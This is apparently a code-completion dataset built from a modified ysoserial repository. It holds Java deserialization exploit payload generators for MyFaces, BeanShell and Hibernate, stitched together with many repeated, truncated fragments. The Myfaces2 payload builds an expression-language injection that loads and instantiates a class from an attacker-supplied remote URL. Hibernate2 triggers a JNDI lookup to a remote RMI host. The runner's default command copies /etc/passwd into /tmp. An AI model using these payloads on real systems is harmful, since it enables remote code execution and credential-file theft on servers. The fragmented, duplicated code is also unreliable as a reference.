HashMap<K,V>.readObject(ObjectInputStream) * * Arguments: * - base_url:classname * * Yields: * - Instantiation of remotely loaded class * * Requires: * - MyFaces * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) * * @author mbechler */ @PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" ) public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies { public static String[] getDependencies () { return Myfaces1.getDependencies(); }
public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
pimps/ysoserial-modified
src/main/java/ysoserial/payloads/Myfaces2.java
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // }
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner;
package ysoserial.payloads; /** * * ValueExpressionImpl.getValue(ELContext) * ValueExpressionMethodExpression.getMethodExpression(ELContext) * ValueExpressionMethodExpression.getMethodExpression() * ValueExpressionMethodExpression.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream) * * Arguments: * - base_url:classname * * Yields: * - Instantiation of remotely loaded class * * Requires: * - MyFaces * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) * * @author mbechler */ @PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" ) public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies { public static String[] getDependencies () { return Myfaces1.getDependencies(); } public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception { int sep = cmdHelper.getCommand().lastIndexOf(':'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <base_url>:<classname>"); } String url = cmdHelper.getCommand().substring(0, sep); String className = cmdHelper.getCommand().substring(sep + 1); // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; // if we add fewer than the actual classloaders we end up with a null entry for ( int i = 0; i < 100; i++ ) { expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; } expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; return Myfaces1.makeExpressionPayload(expr); } public static void main ( final String[] args ) throws Exception {
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // } // Path: src/main/java/ysoserial/payloads/Myfaces2.java import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner; package ysoserial.payloads; /** * * ValueExpressionImpl.getValue(ELContext) * ValueExpressionMethodExpression.getMethodExpression(ELContext) * ValueExpressionMethodExpression.getMethodExpression() * ValueExpressionMethodExpression.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream) * * Arguments: * - base_url:classname * * Yields: * - Instantiation of remotely loaded class * * Requires: * - MyFaces * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) * * @author mbechler */ @PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" ) public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies { public static String[] getDependencies () { return Myfaces1.getDependencies(); } public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception { int sep = cmdHelper.getCommand().lastIndexOf(':'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <base_url>:<classname>"); } String url = cmdHelper.getCommand().substring(0, sep); String className = cmdHelper.getCommand().substring(sep + 1); // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; // if we add fewer than the actual classloaders we end up with a null entry for ( int i = 0; i < 100; i++ ) { expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; } expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; return Myfaces1.makeExpressionPayload(expr); } public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Myfaces2.class, args);
pimps/ysoserial-modified
src/main/java/ysoserial/payloads/BeanShell1.java
// Path: src/main/java/ysoserial/payloads/util/Reflections.java // @SuppressWarnings ( "restriction" ) // public class Reflections { // // public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { // Field field = clazz.getDeclaredField(fieldName); // if (field != null) // field.setAccessible(true); // else if (clazz.getSuperclass() != null) // field = getField(clazz.getSuperclass(), fieldName); // return field; // } // // public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { // final Field field = getField(obj.getClass(), fieldName); // field.set(obj, value); // } // // public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { // final Field field = getField(obj.getClass(), fieldName); // return field.get(obj); // } // // public static Constructor<?> getFirstCtor(final String name) throws Exception { // final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; // ctor.setAccessible(true); // return ctor; // } // // // public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) // throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { // return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); // } // // @SuppressWarnings ( {"unchecked"} ) // public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) // throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { // Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); // objCons.setAccessible(true); // Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); // sc.setAccessible(true); // return (T)sc.newInstance(consArgs); // } // // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // }
import bsh.Interpreter; import bsh.XThis; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Arrays; import java.util.Comparator; import java.util.PriorityQueue; import ysoserial.payloads.util.Reflections; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner;
package ysoserial.payloads; /** * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) */ @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.beanshell:bsh:2.0b5" })
// Path: src/main/java/ysoserial/payloads/util/Reflections.java // @SuppressWarnings ( "restriction" ) // public class Reflections { // // public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { // Field field = clazz.getDeclaredField(fieldName); // if (field != null) // field.setAccessible(true); // else if (clazz.getSuperclass() != null) // field = getField(clazz.getSuperclass(), fieldName); // return field; // } // // public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { // final Field field = getField(obj.getClass(), fieldName); // field.set(obj, value); // } // // public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { // final Field field = getField(obj.getClass(), fieldName); // return field.get(obj); // } // // public static Constructor<?> getFirstCtor(final String name) throws Exception { // final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; // ctor.setAccessible(true); // return ctor; // } // // // public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) // throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { // return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); // } // // @SuppressWarnings ( {"unchecked"} ) // public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) // throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { // Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); // objCons.setAccessible(true); // Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); // sc.setAccessible(true); // return (T)sc.newInstance(consArgs); // } // // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // } // Path: src/main/java/ysoserial/payloads/BeanShell1.java import bsh.Interpreter; import bsh.XThis; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Arrays; import java.util.Comparator; import java.util.PriorityQueue; import ysoserial.payloads.util.Reflections; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner; package ysoserial.payloads; /** * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) */ @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.beanshell:bsh:2.0b5" })
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
pimps/ysoserial-modified
src/main/java/ysoserial/payloads/BeanShell1.java
// Path: src/main/java/ysoserial/payloads/util/Reflections.java // @SuppressWarnings ( "restriction" ) // public class Reflections { // // public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { // Field field = clazz.getDeclaredField(fieldName); // if (field != null) // field.setAccessible(true); // else if (clazz.getSuperclass() != null) // field = getField(clazz.getSuperclass(), fieldName); // return field; // } // // public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { // final Field field = getField(obj.getClass(), fieldName); // field.set(obj, value); // } // // public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { // final Field field = getField(obj.getClass(), fieldName); // return field.get(obj); // } // // public static Constructor<?> getFirstCtor(final String name) throws Exception { // final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; // ctor.setAccessible(true); // return ctor; // } // // // public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) // throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { // return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); // } // // @SuppressWarnings ( {"unchecked"} ) // public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) // throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { // Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); // objCons.setAccessible(true); // Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); // sc.setAccessible(true); // return (T)sc.newInstance(consArgs); // } // // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // }
import bsh.Interpreter; import bsh.XThis; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Arrays; import java.util.Comparator; import java.util.PriorityQueue; import ysoserial.payloads.util.Reflections; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner;
package ysoserial.payloads; /** * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) */ @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.beanshell:bsh:2.0b5" }) public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
// Path: src/main/java/ysoserial/payloads/util/Reflections.java // @SuppressWarnings ( "restriction" ) // public class Reflections { // // public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { // Field field = clazz.getDeclaredField(fieldName); // if (field != null) // field.setAccessible(true); // else if (clazz.getSuperclass() != null) // field = getField(clazz.getSuperclass(), fieldName); // return field; // } // // public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { // final Field field = getField(obj.getClass(), fieldName); // field.set(obj, value); // } // // public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { // final Field field = getField(obj.getClass(), fieldName); // return field.get(obj); // } // // public static Constructor<?> getFirstCtor(final String name) throws Exception { // final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; // ctor.setAccessible(true); // return ctor; // } // // // public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) // throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { // return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); // } // // @SuppressWarnings ( {"unchecked"} ) // public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) // throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { // Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); // objCons.setAccessible(true); // Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); // sc.setAccessible(true); // return (T)sc.newInstance(consArgs); // } // // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // } // Path: src/main/java/ysoserial/payloads/BeanShell1.java import bsh.Interpreter; import bsh.XThis; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Arrays; import java.util.Comparator; import java.util.PriorityQueue; import ysoserial.payloads.util.Reflections; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner; package ysoserial.payloads; /** * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) */ @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.beanshell:bsh:2.0b5" }) public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(CmdExecuteHelper cmdHelper) throws Exception {
pimps/ysoserial-modified
src/main/java/ysoserial/payloads/Hibernate2.java
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // }
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner; import com.sun.rowset.JdbcRowSetImpl;
package ysoserial.payloads; /** * * Another application filter bypass * * Needs a getter invocation that is provided by hibernate here * * javax.naming.InitialContext.InitialContext.lookup() * com.sun.rowset.JdbcRowSetImpl.connect() * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() * org.hibernate.property.access.spi.GetterMethodImpl.get() * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() * org.hibernate.type.ComponentType.getPropertyValue(C) * org.hibernate.type.ComponentType.getHashCode() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.internal.util.ValueHolder.getValue() * org.hibernate.engine.spi.TypedValue.hashCode() * * * Requires: * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) * * Arg: * - JNDI name (i.e. rmi:<host>) * * Yields: * - JNDI lookup invocation (e.g. connect to remote RMI) * * @author mbechler */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest") public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies { public static String[] getDependencies () { return Hibernate1.getDependencies(); }
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // } // Path: src/main/java/ysoserial/payloads/Hibernate2.java import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner; import com.sun.rowset.JdbcRowSetImpl; package ysoserial.payloads; /** * * Another application filter bypass * * Needs a getter invocation that is provided by hibernate here * * javax.naming.InitialContext.InitialContext.lookup() * com.sun.rowset.JdbcRowSetImpl.connect() * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() * org.hibernate.property.access.spi.GetterMethodImpl.get() * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() * org.hibernate.type.ComponentType.getPropertyValue(C) * org.hibernate.type.ComponentType.getHashCode() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.internal.util.ValueHolder.getValue() * org.hibernate.engine.spi.TypedValue.hashCode() * * * Requires: * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) * * Arg: * - JNDI name (i.e. rmi:<host>) * * Yields: * - JNDI lookup invocation (e.g. connect to remote RMI) * * @author mbechler */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest") public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies { 